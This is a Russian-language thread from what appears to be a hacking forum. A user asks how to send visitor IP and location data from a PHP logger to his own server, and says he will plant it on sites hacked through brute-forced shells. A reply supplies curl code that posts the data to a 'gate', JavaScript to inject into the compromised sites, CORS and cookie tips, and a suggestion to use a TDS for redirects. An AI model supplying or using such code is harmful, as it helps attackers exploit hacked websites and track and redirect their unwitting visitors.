• XSS.stack #1 – первый литературный журнал от юзеров форума

как отправить данные на другой сервер?

friend_111312

(L3) cache
Пользователь
Регистрация
15.09.2020
Сообщения
166
Реакции
38
Есть скрипт который берет IP,страну,город юзера и сохраняет их в файл на сервере.

PHP:
$ip = $_SERVER['REMOTE_ADDR']; 
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ip));
$handle = fopen("data.txt","a"); 
fwrite($handle, "IP: $ip \r\n");
if($query && $query['status'] == 'success') {
$hh = $query['country'].', '.$query['city'].'!';
fwrite($handle, "Location: $hh \r\n \r\n");
} else {
  fwrite($handle, "Location: Unavailable \r\n \r\n");
}
fclose($handle);
exit;
Как правильно настроить приемку,и сохранять результат на другом сервере?
 
Не легче на своём же сервере это и делать?

На свой планирую сохранять, а проставлять буду через шелл брут/лом сайты, для подсчета трафика
 
Что-то вроде:
$query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ip));
if( $curl = curl_init() ) {
curl_setopt($curl, CURLOPT_URL, 'ССЫЛКА НА ГЕЙТ');
curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $query);
$out = curl_exec($curl);
echo $out;
curl_close($curl);

Ну и на той стороне пишешь гейт, данные у тебя POSTом уйдут. Там из массива $_POST получаешь и дальше обрабатываешь. Записывать тебе их нужно не в файл, а в базу данных, чтобы потом с ними адекватно можно было работать. Файл у тебя быстро вырастет до такого размера даже при небольшом трафе, что если ты планировал его считывать в массив и обрабатывать - просто забей, никакой дешевый хостинг этого не выдержит.

А на стороне клиента проще сделать это через js. Скрипт на php задолбаешься на шеллы вставлять.

Через js будет примерно так:
xhr = new XMLHttpRequest();
xhr.open('GET', `ТВОЙ СКРИПТ НА PHP НА ТВОЕМ СЕРВЕРЕ`);
В js ты сразу не можешь получить ip и остальные данные. Но можешь отправить http запрос из браузера клиента без перезагрузки страницы. Js проще вставить на шеллы, чем php.
Только не забудь на своем сервере поставить header("Access-Control-Allow-Origin: *"); в начале скрипта, чтобы он мог принимать запросы с других сайтов. И сертификат обязательно должен быть, иначе с https на http запрос не пройдет.

Кроме того, через js поставишь сразу куки, чтобы проверять уникальность посетителя и не слать лишние запросы. Если тебя трафик интересует, то скорее всего только уники. А человек может на сайте 100 страниц посетить, это 100 запросов и сто записей в базу, которые тебе не нужны. То есть проверяешь у юзера наличие твоих кук, если нету - ставишь на сутки и делаешь запрос. Если есть - не делаешь ничего.

П.С. Все это давно есть в готовом виде в различных tds и скриптах статистики. Ты можешь li.ru тот же втыкать на свои шеллы или развернуть tds на своем серваке, которая будет и статистику собирать, и сразу редиректить если надо будет.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх